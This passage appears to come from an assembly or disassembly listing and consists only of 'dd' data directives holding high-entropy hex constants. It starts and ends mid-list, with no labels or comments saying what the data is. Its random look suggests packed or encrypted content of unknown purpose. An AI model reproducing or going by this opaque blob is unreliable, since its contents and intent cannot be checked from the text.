499B1C8Fh, 901680D8h, 0E309F67Eh dd 8AB57E55h, 76800C9Dh, 0FAC1FB4Fh, 8250067h, 9B045051h dd 7A18DCE2h, 9798CA8Ch, 105A036Ch, 36535803h, 9CE85495h dd 12447180h, 3C00EA4Dh, 0DB5574D1h, 0A8B5AA52h, 58C9F2BCh dd 0BC10EC8Eh, 0D1F50A12h, 0CA8086Bh, 0B946ECA4h, 0FC680201h dd 6208F453h, 0B8FC004h, 4CF2AB68h, 0D1007270h, 0E49303B2h dd 0A0A80476h, 0AE001169h, 162B6434h, 24F42B7h, 603E526Eh dd 0F084FED2h, 0DF8609Ch, 0F57E1002h, 8711C8AEh, 0D00DF0E6h dd 0AA491AF3h, 0F1715000h, 5F482440h, 30FD48EBh, 40F84C50h dd 6CA50DB0h, 0C160A2C4h, 9200F77Eh, 0F6C5725Dh, 0F4CD5B3Fh dd 0A06382BFh, 60435F92h, 0AF56FCE0h, 0BC8C744Ch, 60008CA3h dd 0FE5CB03Eh, 0A6EF5DBh, 0A6CD1122h, 64F20034h, 0CBB45ADDh dd 0C698D0C0h, 0B3B73DFDh, 777F0BB8h, 6FA6B400h, 0C326B697h dd 6A08009Fh, 352704B9h, 3EECF1D3h, 0C7E90430h, 2432E5Fh dd 78FD80B8h, 27704EECh, 0D3062C00h, 0D4BBBE40h, 0BD5A2C96h dd 0B91308ECh, 0D46A98ACh, 104674h, 0D2E3CC14h, 3FDCF1E2h dd 4002C007h, 4D02CEF5h, 5609C0E6h, 40BFA482h, 25511BF4h dd 8C21647Ah, 4F8534Fh, 30F49882h, 681386D2h, 8C8B9957h dd 86BB1501h, 0CCF6D88Fh, 5102A4ABh, 34F21C4Eh, 0CD2490F1h dd 57631186h, 80C388C1h, 5386B61Eh, 181CB2FFh, 55832B51h dd 2771Fh, 979DA5F1h, 4E109B3Ch, 9FF9C100h, 0E31F3104h dd 80873F56h, 0ACBA4714h, 299EC009h, 0A0689185h, 0A94FCCA0h dd 1E903830h, 6011D279h, 645A5668h, 2447A140h, 8088DB3Fh dd 0C787A5F5h, 8318A638h, 0D930CF4Ah, 0E8504CA4h, 850852Ch dd 0A947B633h, 28118268h, 80E812EFh, 0D841B47Ah, 882855E1h dd 0A84E3C02h, 6CC1CB1Bh, 0D981041h, 0E42E0D8Dh, 0E0A1D7F3h dd 5107B6D9h, 716CB7EAh, 0E6B36F00h, 0E8FB19D7h, 0DE6860DEh dd 0F0ED4103h, 7C456BC5h, 191061DDh, 20FF0E93h, 0E8C9B38h dd 7E070DF9h, 8FFA8871h, 48A0F1E5h, 3AF33F28h, 0F4A991DEh dd 0F119CB79h, 0B7EC4876h, 9A427F00h, 97EFEB54h, 0E1AC0131h dd 0D08A980Bh, 31CC4DDEh, 3FCC0067h, 10B2E407h, 4A14DA5Ch dd 5F702C43h, 50D9D837h, 0DD4C2A5Ah, 0A6E116E4h, 0FDB054C9h dd 0D1DA6B16h, 112A0Ch, 0A1F31BB4h, 6911C7C0h, 313435DCh dd 1A2740B0h, 0C407B360h, 2A8CD0Ch, 16044ABh, 16C194EBh dd 64E04504h, 78306B08h, 9277E9F6h, 573F0084h, 0A2836F5h dd 48014C7Ah, 1DA9FAF6h, 0A3EC109Ch, 0D149004h, 4CB2D507h dd 6D3930D9h, 0FF17AD0Ah, 9931F0C5h, 94C47E54h, 0E89C8Fh dd 0AB670A05h, 700507BBh, 0FD629538h, 2BAF9805h, 0CD8868ACh dd 8A2580A0h, 407800B0h, 682E1Dh, 0C4FFC3E1h, 6A73FA8h dd 9C2838DCh, 2CC0EB20h, 6110966Bh, 80D1F2F6h, 7DF7AFA9h dd 3DC311E2h, 0D503A6FBh, 337E05E4h, 1AFC72E8h, 0FC96E572h dd 967C5340h, 376A036Ch, 0FB9D9BB4h, 15A63980h, 0BD4FAF05h dd 0E4CEB9A7h, 380EA39Fh, 21003714h, 7FB274A3h, 20334BDCh dd 72516ADCh, 20167C5Eh, 0B014400h, 0B9FF45C9h, 3682BB10h dd 0F589CF81h, 297E0CE0h, 81F745Eh, 62F93009h, 91A897D0h dd 0E44D800Eh, 37AA2E49h, 6090528Eh, 364353E0h, 9F0CBE58h dd 8F2C7708h, 0DEA4098Fh, 505C811Fh, 0F478F672h, 1028E158h dd 0D504C3D6h, 0E4C40F9Dh, 34158020h, 4E0C2A3h, 0DCD079D7h dd 0B34F8300h, 0C8B46910h, 0E13C5040h, 30EA1E4Bh, 0CCAF8037h dd 6B7D8629h, 0CD9CF100h, 1C848D5h, 0CE400FBDh, 0AAE23CBBh dd 60D19F26h, 0D4181171h dd 55A8FF00h, 4145A597h, 47130E98h, 4756C727h, 854E334Ch dd 602CA11Bh, 0D65EB4F0h, 0F272CC41h, 45CE6B80h, 60C3E414h dd 1099A51h, 6DAEF640h, 0CCB90391h, 60C3ACA0h, 0B1A27032h dd 60C29A94h, 88DFCE38h, 0D973E29Dh, 0B1929E00h, 0E0CF1948h dd 20B0B05Ah, 4708A5ECh, 4136F4Fh, 90AF1E09h, 8CE642Ch dd 0D955430Eh, 980C008Fh, 3AF5B4Eh, 72C5764Bh, 8281021Ch dd 35BCEDD9h, 0A2DC2360h, 11FF3010h, 8421A600h, 5E1F7FD3h dd 2E78B880h, 0AE70424Ah, 0E465E24h, 78217200h, 8C70DEB4h dd 0E0794A01h, 43B27C9h, 68AA9400h, 7030AD4Bh, 16591B48h dd 0C9DA4472h, 3320C250h, 80CB6334h, 0F718C904h, 0D4306207h dd 0E44486B5h, 1D932C03h, 484D3870h, 0D097E825h, 0BD80BE11h dd 5B854945h, 0ABD91800h, 58F49A4Ch, 0A7702A72h, 0BBEF443Ch dd 1E04E16h, 6FD7FC48h, 15410131h, 85877980h, 0DE68A088h dd 20DB6A09h, 0C769BE20h, 0C0720F43h, 6787993Ah, 0E68F10E0h dd 0FE5C3DEBh, 0ACD410DCh, 0A34DF701h, 6DF410B2h, 352310C4h dd 4059A901h, 41F6E74Fh, 0A4F4D8BCh, 0F601C18h, 165D018h dd 5134B495h, 0A39092h, 205B4BF8h, 2759A11Ah, 4E030C6Ch dd 96AA9D8h, 0B8F481B9h, 55F1848h, 303FE80h, 4EA4DA11h dd 0D0E9574Ch, 195C3868h, 0CB31B680h, 400C4C70h, 0D180FB9h dd 8A990377h, 0F8EA00C0h, 1C4B4120h, 3850F084h, 5317ED8Dh dd 5CDB291Fh, 0E5EBB281h, 48B838F3h, 0D97B0080h, 79786FAEh dd 4DF00C60h, 0EAB12E57h, 17C07E2Dh, 1C6BFE4h, 0A9AF9A11h dd 7040A4C8h, 0C07A5BCDh, 94BD98C1h, 540B059Fh, 68B066A3h dd 9ED1BB60h, 0CB104268h, 40BA0D22h, 0B6AEBB84h, 0C0172530h dd 0E380A711h, 0CE99728Eh, 82B49C3Bh, 7FF6366Eh, 0BA24437Bh dd 3A60F9BBh, 686734A5h, 4B60C464h, 9E0B70B5h, 231A42ADh dd 4061D40h, 0FF5FA9D1h, 5A80A0FAh, 4C667924h, 88A48312h dd 6A18C4CAh, 0B08C2864h, 29D4628h, 7E010DF7h, 603CD9FDh dd 1E0DEFE7h, 60162004h, 0E41E064Bh, 0B8F308D4h, 0A1B70D4Fh dd 2C51CDh, 0A9888282h, 0C39C020Bh, 0C2DE0427h, 5520F8FCh dd 0BC4C807Dh, 4ABB84F4h, 18C4B8AEh, 92D0C06Ah, 0FDC922Ch dd 40A170E2h, 0DC307280h, 78308CCEh, 118BB1F8h, 0F33C0F20h dd 0D08E48ACh, 16414BE0h, 7F0ED181h, 0BAB0D1Eh, 0EA888DA5h dd 0ACCD4085h, 278E2C4h, 74B9C571h, 11989DDDh, 522A8010h dd 0CD2BA0h, 60889CEBh, 0C48B347Eh, 96899494h, 20AC5ABDh dd 0CDF0D3DFh, 21F49CA8h, 0CFBEE700h, 0C6A79560h, 0ECB23C7Ah dd 0F3E1FE06h, 0B90029CCh, 1B0ECDFBh, 3D9F501Dh, 0E5859682h dd 818BD904h, 1EB19A48h, 93B3C3C3h, 6A50CDF8h, 15535512h dd 0A564E0h, 1F0A035Fh, 27DEC8BDh, 0B3F3D27h, 5AB80218h dd 212CFABBh, 45BBC35Fh, 49AB3FD4h, 65136407h, 234C2FE7h dd 87D03BDh, 0F9F0F8B1h, 0DC24ABE8h, 8A08C8AFh, 553405B9h dd 43C81D3h, 917E13A5h, 0A0F4F6C4h, 0C3441880h, 2E5BB9CEh dd 1381B040h, 0A685183Ch, 16A2C810h, 8114344Eh, 0DCD8D4h dd 3EA3274Dh, 9796E39h, 0F262FE38h, 0C4714C71h, 0EB980C18h dd 576AA804h, 3CF11472h, 0A025DADDh, 0B42EA9C3h, 0F140ECh dd 0D0B3358Fh, 4C05B0BFh, 0C2DC9050h, 9B8C96Bh, 808037A8h dd 0ECF966BDh, 0C5041A07h, 78517984h, 1E3CE4h, 8F7E5081h dd 0B1B76734h, 87694003h, 2D86820h, 83BE2249h, 8A6079CEh dd 60006D36h, 1029D493h, 243FA8D0h, 4008FDFFh, 4D14EC40h dd 5043D76h, 0CD7F3C7Eh, 605868B8h, 84AD6810h, 8560A5Ah dd 0FB93E424h, 0ACB55063h, 0B8B212h, 0EC18E4D8h, 2FEBDB7h dd 6DD2681Eh, 0E4621B7Eh, 8775840h, 8A42F496h, 11A008E0h dd 67FC80BBh, 426453E2h, 591C009h, 0E48C868h, 612B2ACFh dd 5BD641A0h, 68C406AAh, 0DC37FC9Fh, 4B275339h, 7DA801CEh dd 54259B94h, 0A61E4441h, 0C85C8315h, 28A100A4h, 90D3C319h dd 0C50B29BCh, 47C4BD80h, 613F5F25h, 0A45C5868h, 0C8FC455Bh dd 440A197h, 245CF16Fh, 33F2349h, 0B0A1AF44h, 10A23C23h dd 3E695E30h, 8681E85Dh, 494DDD5h, 1814724Dh, 4EF1CFF3h dd 72394CD0h, 20DE2E00h, 9C86808Ch, 0C667EC0Ch, 438898B7h dd 43E33AA6h, 1330F9E2h, 27CE099Eh, 9C6808FFh, 3F84B330h dd 2C4C5992h, 6A295B13h, 0BFFF1044h, 27A11A84h, 102F87B4h dd 909F05EBh, 0DE8688ABh, 9AB18FBh, 0E19B0488h, 54F6D000h dd 4648CF8Bh, 0DC9AA194h, 72895303h, 30722EB6h, 0B2440CCh dd 7D6981CBh, 13FE0040h, 6F747932h, 25212446h, 0A89809F4h dd 0D815A059h, 0E1D406C8h, 0A1C9F2h, 469A8532h, 6C921119h dd 0F7D29400h, 0A08DC404h, 0CDB012CFh, 18F2F9h, 52719B3Ah dd 0A7C416h, 0B9E3FCB1h, 7F14C0DAh, 0C61C83B0h, 14246CD9h dd 0FC4674h, 76AA15C8h, 0B930442h, 0D182511Bh, 0CAE880E0h dd 80740A59h, 48D29967h, 58C09476h, 990FA005h, 40D33123h dd 35114213h, 74B09433h, 6900A346h, 0EB946F6Ah, 0A501F62Fh dd 0FE59D8CFh, 9028AB45h, 0ACDBF212h, 0C467DEE8h, 9C9A521Ch dd 42A19DDEh, 7FC5D313h, 7B8088AEh, 0C91DE055h, 366FC9C0h dd 0CDC22B7h, 4860B1BDh, 690093E9h, 56C29F08h, 0B9A42E4Bh dd 0C555478Ch, 0C598D0B6h, 974E3F48h, 725204C0h, 1B74FF8h dd 3C4990Ch, 0D8433F45h, 0E125F1C6h, 12A3727h, 0E3C54EF4h dd 0E4496103h, 86008C02h, 0B7109AE0h, 5A69CF1h, 1BBB2C4h dd 300400BDh, 4C1A7A4Ah, 0CC134F09h, 35A4006Dh, 714BF6h dd 0F9A9F1A6h, 0C0994ECEh, 0D1D2B41Eh, 23F42794h, 9962010Fh dd 0E8E48CDh, 999B0200h, 0DC681B6Ah, 2749F406h, 0B8FE3Bh dd 70F1C8A5h, 0D6484E51h, 0CB1DBB18h, 98E139h, 1501F91h dd 0F7778E45h, 0E839FC02h, 6CA9CD67h, 87320FCh, 0CAA5200h dd 0CB2C7472h, 7F8A44Dh, 0E0D3F2A1h, 9B718569h, 0E235C074h dd 0E8D8E0h, 0DEF07F64h, 6C1F5EE1h, 9C319807h, 0E215074Ch dd 2E3B90F1h, 0FC4233Ch, 75E0F00Ch, 0F14F516Ah, 9C5CF24Ah dd 90BD6D41h, 0BF701471h, 0EBB71CBBh, 0F90DC01Bh, 447DFF69h dd 3D0CF75Dh, 49118555h, 8C540B4Fh, 219D7418h, 6EEF41ECh dd 0E11FC0h, 525BCA13h, 0EC54F14Dh, 0C48B765Ah, 70C2B5C8h dd 9E684076h, 448180BFh, 0F0F59726h, 5EA2D302h, 3CF8C815h dd 4BB55BCFh, 0A4C81E38h, 7008188h, 53BE0506h, 1D5AC27Ah dd 0C6A1C451h, 58A2B6ABh, 0E4C69E25h, 15B41D54h, 61A50095h dd 0DDDCA21Fh, 7ECBA58h, 0B6874309h, 8EF6E0DEh, 0EA64C402h dd 9A79077Fh, 2A69D50Fh, 0C0529C88h, 0A7DFD81h, 0DB014B29h dd 6AE2CFDAh, 3C30C5FFh, 0C085CD4h, 69349178h, 0D1807C37h dd 9A065E46h, 7A4B05E3h, 23F4D523h, 4CC811F8h, 0FE1D45C5h dd 747E8ACFh, 0F4A84F05h, 74821BDBh, 86D330F3h, 0B1576912h dd 14C0C0A2h, 945686BCh, 25E78C58h, 5C1CC877h, 17500084h dd 65CEBEC9h, 721F7AB6h, 0DE1F0341h, 269F066h, 20B6738h dd 46726DDh, 5860B444h, 0B63CD9F6h, 0A5AFADA9h, 8CA8707Ch dd 4AA4084h, 1CA8CBDCh, 4C8CC7BCh, 5A0753F4h, 87A5F5A7h dd 0C09FA013h, 2600A270h, 0DEE672C7h, 75F1690h, 0A5D3A6D9h dd 8B7575C2h, 0C0A1C83Ch, 50FA2AAFh, 545A498h, 0C3BC9038h dd 8979008Ch, 9DE80CDh, 0DCF7EC04h, 0F34F7173h, 3D82A4D4h dd 97164037h, 82A40992h dd 0A402B84Eh, 0C2254904h, 5116A4C2h, 1CE9A7A4h, 78203B76h dd 5C73C160h, 0F71374B9h, 2C60C80Fh, 3D9E040h, 574C359Ch dd 0D805CBFFh, 0FB176FF5h, 4FC10480h, 30094C77h, 8ECADE81h dd 2E3E9Fh, 0A3030E23h, 0AAAE0844h, 7E00E2BAh, 10467470h dd 28B99B00h, 0F9FD7A61h, 0FC63B628h, 66A2B309h, 1338F8C1h dd 6EF21CC2h, 178800D0h, 854A6F41h, 96691CC3h, 0DAD984F0h dd 8FD58h, 324F67A5h, 1355154Ah, 4A19FECh, 0CE6E8Ch, 5ACCC29Eh dd 8C85CDAh, 485F70A0h, 44E9372Dh, 6AB400F4h, 0B274D122h dd 0E4B6164Eh, 0B89AF113h, 1C0130C0h, 0D9086B13h, 0D3C879h dd 0EEC1E141h, 0FF044835h, 0CD039CA7h, 88768CB2h, 0B2F3FA9h dd 14ACA2E2h, 13E00ADEh, 0CC70806Bh, 10487773h, 5FC90620h dd 18258Fh, 0E167A607h, 0DA0CACCBh, 0EC42565Bh, 564AB2D4h dd 81D68660h, 0E10099ACh, 0E34E5470h, 121B8955h, 0B2CCCE80h dd 15410FA8h, 9837A1A9h, 5180FE77h, 0B4B34A35h, 0A0049778h dd 0B06822FBh, 900284ADh, 0D6CF9480h, 0DE435500h, 9CC4A3A5h dd 1898D8B8h, 6B81AFF6h, 247C3472h, 30A0AAB3h, 4FB2D218h dd 25EACA88h, 0CCC1D9A8h, 0E400FE8Bh, 24A20F05h, 9FACC246h dd 20302882h, 5C22BEF2h, 70B090C1h, 5C49828Fh, 88EC7C7Ch dd 0FD49668h, 3EE17218h, 28765ABBh, 34C5282Ch, 0A8AA0FE8h dd 0CAFA7C82h, 0A4D9A702h, 305303A0h, 83FA8F80h, 3C541201h dd 18793857h, 7C4499D5h, 42DB19C0h, 81F60213h, 0D056EA9Ch dd 0FF74FC7Ch, 0DCF0EA18h, 274E4C0Fh, 0A7F0D91Fh, 19604B7Bh dd 7E80A481h, 9709E2FEh, 80C11174h, 0C18859Ch, 0CFBB04ECh dd 0F1D34F48h, 0E7789644h, 0B6235C2Fh, 27C66505h, 1652ECA4h dd 18D5D72h, 0AAB4DE8Ch, 463F7Ah, 938CCEDh, 9632749h, 0E347052h dd 16BF3098h, 0A2B4E3E0h, 0E0AD30B3h, 6D7E2909h, 2058E4C4h dd 7617E463h, 30E4C928h, 4DAD4033h, 0CB27E805h, 488934Fh dd 662388FDh, 6A5F6D03h, 0B72FC1C4h, 6098933Fh, 0FB770054h dd 0A07CAF89h, 2DF1A591h, 0DA7B009Ch, 5A9EAE1Dh, 32510768h dd 0E94B560Ch, 0CE714050h, 0A8CD0A0Ch, 16C75942h, 0F4DA6B27h dd 7090C078h, 0DC50A060h, 50833C80h, 0B0285CB2h, 33742060h dd 7C725613h, 51C59C87h, 45D18CC6h, 0C741C4F7h, 0F60EA00Fh dd 0CB48E097h, 1EF7B508h, 0BF5404E8h, 549F58F7h, 28CF8E8h dd 0E597CB32h, 8446823Ch, 5CE080B5h, 0BF4CDD0Fh, 0A5BB9C10h dd 0A0B94803h, 8B029371h, 7E381388h, 7790AC1Bh, 109DF5E8h dd 92A88A10h, 18A922D4h, 0B858E849h, 27B090BFh, 2822FBE3h dd 0E4E491C9h, 2AF80720h, 5CF8FA76h, 0BE29C87Dh, 42A12BCh dd 17350E18h, 0C9AB1820h, 843C038Eh, 0D206D590h, 44EAB3A8h dd 0E0C1302Eh, 4BBF408h, 0ACA3F3F8h, 18CB4E2Ch, 813BA3DFh dd 5B6D4708h, 26D8BC46h, 76B50227h, 0B492513Dh, 3F13CCD0h dd 0B008D5C2h, 4C7CB8A9h, 0C04E1D80h, 25A357C4h, 4002094Bh dd 2CE874Ch, 884845F3h, 0E82859DEh, 0D44028B8h, 0B3E0408Eh dd 8F4A4225h, 90F39640h, 0B60C5721h, 6FBE68FEh, 3D2528C6h dd 42A85DCBh, 0CC131E3Bh, 1808E891h, 0D0990965h, 0B0656648h dd 999DFF81h, 0CC473F93h, 3F221778h, 39C62304h, 0B297F582h dd 4843E0E3h, 0C40A11EAh, 6F80102Eh, 0CB84FBBEh, 2FF09968h dd 4BFAAC40h, 0FD948160h, 17136E14h, 0CBB03CD6h, 0C2B5C874h dd 18600413h, 882147Eh, 4A0038B0h, 89469495h, 7DD1F9E0h dd 0C8BDC855h, 1A1F5DB8h, 53021BBEh, 0B09EABh, 0A270CBE4h dd 2F23333Fh, 50E497h, 0DDF3F66Bh, 0C954F02Ch, 4A45080Ah dd 4674E0ECh, 69B800BEh, 505EAFE0h, 0F32D1D41h, 0EF788798h dd 5F5164F9h, 0E9718C3h, 23FBD39Ch, 601B5E8h, 1453F868h dd 8BB08468h, 1600680Fh, 7180893Bh, 4B725701h, 0D9E00AD5h dd 805A3CB4h, 0FB4C8124h, 70C1CC4Eh, 65606DF6h, 764F045Eh dd 0ECFD590Fh, 0B6821014h, 2C459E2Fh, 7F63F9C4h, 0CF0749C0h dd 0C16C2B5Ch, 44825873h, 3207870h, 72539ACAh, 0A8029EEEh dd 0A06E574Dh, 710CE068h, 0CF2B7h, 0D4BA8BE0h, 17918944h dd 58D99A02h, 87EECAABh, 58D068h, 25188CB5h, 68B196BDh dd 6C0AC780h, 4E073FEBh, 0C03C87A7h, 4AC9C398h, 9F8DA5Dh dd 58FE947Fh, 5B5709D8h, 8C567092h, 0B10711Ah, 78887AE8h dd 0BC723511h, 7FD8D010h, 81F17B24h, 9AAB5588h, 5889F412h dd 0E4702B2Ch, 679FBD0Eh, 1C09B6CDh, 0FCC41Ah, 94157DBCh dd 39B8F5B2h, 3F3C4103h, 11E97677h, 50DE7BB8h, 0E4876788h dd 934D60A7h, 2113012Ah, 0E4F19AF8h, 0A463D1h, 7EBA4F0Eh dd 4E0456h, 218A60Dh, 2FD3688Dh, 79993F14h, 0DC82249Ch dd 0DA69B684h, 0EC855043h, 2BE325E0h, 0FC1BBF00h, 36A3C347h dd 0D9260007h, 64FE509Ch, 284E7259h, 0F6C2C882h, 600E6B24h dd 0CEAFB568h, 64CF5CA4h, 8681F988h, 504B1A78h, 596C20h dd 5775439Ch, 90B0A0BDh, 5AC72707h, 0A3D4A7B4h, 6EC8A0A8h dd 7B4FC182h, 10FCFAFFh, 8877980Ah, 63B4804Dh, 3CAA536Dh dd 0E7711B2Fh, 62B64440h, 13D0C07Eh, 71F1830Eh, 41D0ADF0h dd 883CEC28h, 0E1F57718h, 15F404C6h, 0F2D59207h, 8F904F4Ch dd 739A6053h, 0F72E2FABh, 0FA6400C7h, 11915A60h, 58236EE3h dd 0FAD9E7B8h, 7B7400D8h, 4B1FB6FCh, 1CB86690h, 8B72F83Ch dd 702AAF0Bh, 451800D0h, 0AAD3FBF0h, 0A892B28Ah, 3124784Ch dd 3C7D599Eh, 0CC64D8D5h, 1771205Bh, 0E9004EEEh, 75D935DCh dd 74A5AE0h, 48B5DD74h, 70431957h, 4BBC8084h, 14137F91h dd 0D4F0F12Ah, 0E44082BDh, 4C92A77Dh, 0A0E8B648h, 2959B70Dh dd 25B4CB10h, 7A505CA3h, 0C7184862h, 0AE0C41C0h, 0A3939810h dd 10E5420Fh, 0F88B16D6h, 52C7B4C8h, 0F3A11050h, 0CF9F060Ch dd 99C6447Dh, 5642B509h, 0CBD469C9h, 73CD2701h, 33B3E218h dd 0FA0D7EF8h, 4247309Ch, 3DD66B50h, 0F4C75CABh, 4E11A894h dd 59177FACh, 8422A320h, 425804D9h, 0DE82CD9Bh, 6BE28198h dd 0F14C7E02h, 9CE848CBh, 4BE10640h, 482004A9h, 67FCC0E3h dd 75167170h, 6891F2F1h, 0DDC0D71Ah, 7B5800C4h, 0CF536E42h dd 360B5171h, 4DF25AFEh, 0BAF260A4h, 0F80C502Ch, 2843EACFh dd 7A93E037h, 0D0695A97h, 7121CA8Ch, 0EB177D07h, 0AB807F80h dd 13EA6426h, 0E468B698h, 2200E6C0h, 0B97A232h, 7CFA03h dd 388DDC3Eh, 7842AA9Ah, 105D0127h, 445B5FE4h, 79127F0Ah dd 14879BF3h, 11B46F81h, 0F8D8842Eh, 8C0FECD4h, 7AA9B200h dd 3E0CF946h, 0DCB0E0h, 0C607F0DEh, 0DF7B2748h, 24EA549Ch dd 69800411h, 4648D499h, 3C05C91h, 0B7B9962h, 1F76A29Dh dd 0FF1F0F9h, 56009018h, 0A27299C3h, 7F64E9Bh, 0CB367FA5h dd 58E88003h, 0B0BF2Dh, 57B08E7h, 499A357h, 0E97CE8F4h dd 0C42731EEh, 0A32D53A1h, 7E88838Eh, 1158A276h, 0D01213F7h dd 0E2559E4Bh, 32F00463h, 80DDBE49h, 0A54C0FCBh, 4849384Eh dd 84D4744Fh, 0C1C5685Fh, 888D2C3Ch, 203FDB0h, 0C663347Dh dd 10203458h, 9CB0C235h, 0F85EC467h, 44F85AA5h, 14B14CEFh dd 6536A102h, 0DBFE63A5h, 4825F08Eh, 9960175h, 0BC69847Bh dd 2F9460F4h, 7751D362h, 0CA0AF28h, 38E49B0h, 0F8B64041h dd 0C4904275h, 3B01A11Eh, 2AF53690h, 2F7A6135h, 8C77C4h dd 4196838Ch, 48448E26h, 3933F12h, 0DBA63C00h, 246129C7h dd 24063D08h, 35A0B938h, 947C3045h, 18CC5BCh, 1121D447h dd 0CCC8A0DAh, 3525CCB7h, 0E4EC4588h, 0FB4F61A3h, 12C516F8h dd 0B4ABCCB9h, 0B325F1ECh, 0CEFCA15Ah, 3E10DA69h, 7400476Ah dd 4C793028h, 3653A4Eh, 0C0D8DD4Bh, 0AEB2551Fh, 0CF2CBCD0h dd 0BA14680Ah, 67FD804Ch, 8C6C53FBh, 790A544h, 0D1856806h dd 9546F0EBh, 66F261A8h, 0F320DD64h, 0AF0044FDh, 5B620F1Ch dd 2049157h, 0B39DDE81h, 642458F8h, 0C1A86230h, 911C1D5Dh dd 809481F8h, 0B462CB34h, 0B24E5400h, 7AA58609h, 66E6840Ch dd 0C20668C5h, 0F987B439h, 30964F1h, 0B0D8FA41h, 2964A10h dd 0CB131D1Ch, 0B85409h, 5170A458h, 4F124E35h, 2802F71Bh dd 0FC6134E3h, 0A1465EFCh, 649EFF00h, 0F74F4843h, 0F00251D6h dd 2276DD4Ch, 909A1B5Ah, 0D48C7Ch, 0BD0B7AB6h, 0B4A84502h dd 266CEE4Ch, 86030E1h, 868C43h, 0B76EEA5Fh, 678ECE5Ah dd 35751AE8h, 70566226h, 0EF072A11h, 0F36CCFEDh, 7D80E34Eh dd 0CC17AEC5h, 2CF67A5Bh, 0A24BCB16h, 0E0207F4Ch, 78EA0FD5h dd 6AE07DDEh, 4F44DB9Dh, 99B7CC03h, 993116AEh, 6AFF69h dd 0D77BD418h, 1F7B5ECBh, 2BBA650Bh, 40205EDBh, 4F4C3251h dd 0D2EFA425h, 0E4684AD8h, 210046B8h, 176F713Eh, 0A9758Eh dd 0DDE85881h, 6314F9FBh, 0CC431200h, 6B4E5F70h, 7FFF059Dh dd 2DD6CD0h, 10A5E0F4h, 0C5E930FEh, 60C3646Ch, 47208D3h dd 0EAE42AADh, 6738E062h, 0B67F7E00h, 9E591540h, 2D8B061h dd 0A34ED8BDh, 94DC0CC0h, 0E749FD47h, 60C064ACh, 77BA963h dd 4DEE5550h, 0C9434435h, 26547304h, 0FF5E0874h, 0CD0E7518h dd 0E2776F0Fh, 51F8EAE3h, 8EA58774h, 0DF2792F0h, 4F35ECE4h dd 8080A1F1h, 98ABDCFBh, 0C3071328h, 0B32488FFh, 3DD069D0h dd 0DD1B841Fh, 2491BC5Ah, 402F4ACBh, 9721A0A4h, 5D2D2099h dd 52C64C0h, 0F37C619Ah, 0F56CD071h, 4062F76Eh, 22A8B048h dd 5621D64Eh, 0C42814AAh, 40CE3450h, 340AE712h, 94C95794h dd 9B954A01h, 3C100968h, 0BBEA7FCCh, 6920C864h, 0CBBC84B8h dd 596D048Ch, 0CCA28472h, 128B4E00h, 0A9D32360h, 4DEDDFE0h dd 0A973C0E4h, 0C81F191Bh, 43C139A0h, 125B5336h, 8FA4C12h dd 2B402A04h, 24BEB289h, 9020AB9Ch, 1FA9F4E2h, 0E7816F3h dd 5D0144BAh, 70FAB610h, 4309BF40h, 0A0800264h, 56D17E50h dd 777F2FE0h, 0B255C8A7h, 54093CDh, 0A05E945Ah, 0B3C8848Eh dd 1170A2C7h, 1F44828Ch, 0C21E2206h, 9F664B53h, 4A00907Ah dd 6AEF958Eh, 302B6760h, 8FD9D3F2h, 7D285DF8h, 0D200F743h dd 1C17099Eh, 95F7C608h, 70B0A866h, 8C02720h, 0C22A54D9h dd 0FC40833Bh, 7C9A0529h, 41589C99h, 0DD97AC53h, 7180E701h dd 0A912275Bh, 344B774Fh, 0B68C4456h, 0B3465EB0h, 69770402h dd 0C0E180A9h, 9FD501D1h, 1C2D46F1h, 6A5AD309h, 1D2FFC58h dd 0A2D893FDh, 0AADC0408h, 0A4024025h, 0D1C0E682h, 9C7D843Ch dd 1C8AC2Bh, 48D0109Ah, 9B2BBBCEh, 85E483E8h, 1C51BFADh dd 0EBF57E96h, 161C206Bh, 650741FBh, 81049113h, 5074FE0h dd 577D0B01h, 0D44E60F1h, 79849A71h, 806C43A6h, 9CA80869h dd 0A88EBFA7h, 472B6B20h, 829FFF57h, 563E28ECh, 42A44838h dd 780BE032h, 0E0B24144h, 1997D056h, 1C499A40h, 3096C8DDh dd 25E8E031h, 5084565Ah, 0C09042AFh, 0F4D3CE7Fh, 534A406Ch dd 4C1038A8h, 4F157FBFh, 26E0E7DDh, 0BB08A835h, 99D9000Ah dd 963B5612h, 2860CD49h, 0E0957C44h, 2F4F8364h, 0A4EC12A3h dd 0A1D95A30h, 0E13F3747h, 668C612Bh, 25BD70CDh, 8A9C20A5h dd 6CC8D693h, 206288E4h, 0A0FD540h, 0C2019A0Bh, 58D9C170h dd 1FC20872h, 4933D67Eh, 54502B57h, 0A819AB2Ah, 4BC6748h dd 0CE111395h, 0B850CCh, 27B0A1F1h, 0E5520FE6h, 2CDB63Ch dd 0AB53FA36h, 0CEE0A056h, 0FF7455F4h, 69CF0h, 28D25C80h dd 1FCC6E75h, 8942EC00h, 0BED899E0h, 7021C096h, 521D0F08h dd 0F442FC00h, 99D17FAFh, 25807510h, 4868A19Dh, 0C107C61Fh dd 0C846C378h, 66D99B81h, 38F96CC8h, 82071891h, 1080877Fh dd 0F8D40268h, 299A130Eh, 8EA00C2h, 0B6D9A33Dh, 1E9F04E0h dd 0E250A02Ch, 0A6D060F1h, 0AAE864F8h, 0A5A9C600h, 0AD15D047h dd 0A19125CAh, 70260848h, 2A612CB0h, 90B37E11h, 2AB236F4h dd 62DC7A4Dh, 0DB4F10D9h, 4FB5120h, 248973DDh, 8580743Fh dd 69279FBDh, 1F25C928h, 0CC82F80Ch, 0CF204558h, 0C65400DFh dd 0C91CB0EAh, 0CDE8BF74h, 2C90A94Bh, 1515A048h, 40DD70F7h dd 0CD0AB6A0h, 0F3A010B7h, 7FE72CB5h, 2C5801D0h, 11DA0603h dd 88B9576h, 20936DDCh, 1D3C6BA5h, 59F04CB2h, 0B59E67B0h dd 0CA30902Dh, 42563428h, 8005F096h, 0EAB600DAh, 77682518h dd 0D0CFDBFDh, 0D7C0BEBDh, 5190C37Eh, 4898511Dh, 3D23BC1Eh dd 5359D961h, 0A2F29853h, 0CB084047h, 91BA624Dh, 20E83522h dd 23BD4003h, 21068B48h, 59116FA9h, 4AD9A802h, 78C4ABCDh dd 0DA0B3F0Bh, 0B08180BAh, 22FD624h, 0C83E1DFEh, 704834DCh dd 0A1789D8h, 0E4082678h, 365883C5h, 0BBE255BFh, 486F2099h dd 404D69BCh, 63B61254h, 0C8C09C12h, 7C9A6BBEh, 0B70435FDh dd 72100208h, 957FCD0Ch, 188FD024h, 79260CB0h, 0C909606Fh dd 4C848FA5h, 40881097h, 6040CFD0h, 